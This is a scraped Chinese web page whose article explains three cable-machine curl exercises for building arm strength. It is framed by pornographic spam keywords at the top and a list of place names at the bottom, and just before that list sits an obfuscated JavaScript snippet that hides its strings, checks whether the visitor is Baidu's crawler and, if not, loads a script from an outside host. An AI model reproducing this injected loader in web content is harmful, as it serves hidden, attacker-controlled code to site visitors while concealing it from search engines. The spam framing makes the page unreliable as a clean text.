亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

臂力器鍛煉方法是怎么樣的

2017-04-14 15:57:29  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):現(xiàn)在很多男士都在鍛煉自己的身材,健身房里面也有很多男士在練自己的手臂,那么我想說(shuō)大多數(shù)這個(gè)男士鍛煉自己的手臂會(huì)選擇臂力器來(lái)鍛煉,希

現(xiàn)在很多男士都在鍛煉自己的身材,健身房里面也有很多男士在練自己的手臂,那么我想說(shuō)大多數(shù)這個(gè)男士鍛煉自己的手臂會(huì)選擇臂力器來(lái)鍛煉,希望自己有一個(gè)健壯的手臂,那么臂力器鍛煉的方法大家知道嗎,正確的使用方法很重要,錯(cuò)誤的使用臂力器鍛煉方法很容易適得其反,造成一定的傷害也說(shuō)不定的。

臂力器正確的鍛煉方式是:(1) 雙手高位拉力器彎舉,這一運(yùn)動(dòng)使你在舉臂的同時(shí)做彎舉,這樣可以使你的肱肌得到更有效地鍛煉。開始姿勢(shì):將兩個(gè)把手掛在兩側(cè)高位滑輪上,人站在中間,每只手各握一滑輪,掌心向上,雙臂向兩側(cè)滑輪伸出并與地面平行。動(dòng)作:肘部彎屈,以平穩(wěn)的動(dòng)作將兩側(cè)把手拉向你的頭部,保持上臂穩(wěn)定,掌心向上;當(dāng)二頭肌收縮到最大限度時(shí)盡力向中間拉。然后慢慢地回到開始位置。

(2) 站立雙手拉力器彎舉,這是最基本的彎舉動(dòng)作,但也是最有效的鍛煉方式。用鐵栓調(diào)整拉力器重量,比不斷調(diào)整杠鈴或啞鈴片重量簡(jiǎn)單得多。這樣可以節(jié)省間隔時(shí)間,使鍛煉更緊湊、更有效。

開始姿勢(shì):選擇一根中等長(zhǎng)度的橫杠,最好是可轉(zhuǎn)動(dòng)的那種,掛在低拉滑輪上。面對(duì)滑輪站立,膝部略屈,下背部稍彎。雙手掌心向上握住橫杠,握距與肩同寬。

(3) 站立單手拉力器彎舉,單手的鍛煉能使效果更集中,同時(shí)也可以讓你有機(jī)會(huì)運(yùn)用翻掌動(dòng)作(掌心向內(nèi)轉(zhuǎn)至掌心向上),以充分刺激肱二頭肌。開始姿勢(shì):將一單拉把手掛在一低位滑輪上。單臂前伸握把手,身體略偏于軸線一側(cè),使你所要鍛煉的手臂接近拉力器。動(dòng)作:肘關(guān)節(jié)彎屈(保持肩部穩(wěn)定),將把手向上拉的同時(shí)平滑地翻腕;當(dāng)拉到最高點(diǎn)時(shí)掌心向上。然后反向回復(fù)至開始姿勢(shì)。兩臂交替進(jìn)行。

有心鍛煉自己的手臂當(dāng)然是好事,可是掌握正確的臂力器鍛煉方法也是很重要的,希望正在練手臂的男士可以掌握正確的方法,可以很快,很有效的練就一雙完美健碩的手臂,希望我推薦的這些臂力器鍛煉方法的意見可以對(duì)你們有幫助,祝愿你們?cè)缛論碛凶约簤?mèng)寐以求的完美手臂的。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
德兴市| 浦城县| 锡林浩特市| 平顺县| 克东县| 新田县| 云浮市| 峨眉山市| 北碚区| 红河县| 茌平县| 瑞安市| 花莲市| 梧州市| 平和县| 乌鲁木齐县| 贵定县| 东海县| 墨脱县| 赣州市| 正定县| 宁乡县| 普洱| 龙南县| 松潘县| 调兵山市| 杂多县| 当涂县| 息烽县| 乃东县| 肥乡县| 牡丹江市| 南澳县| 马龙县| 大兴区| 睢宁县| 黄浦区| 邳州市| 鹤岗市| 集安市| 三明市|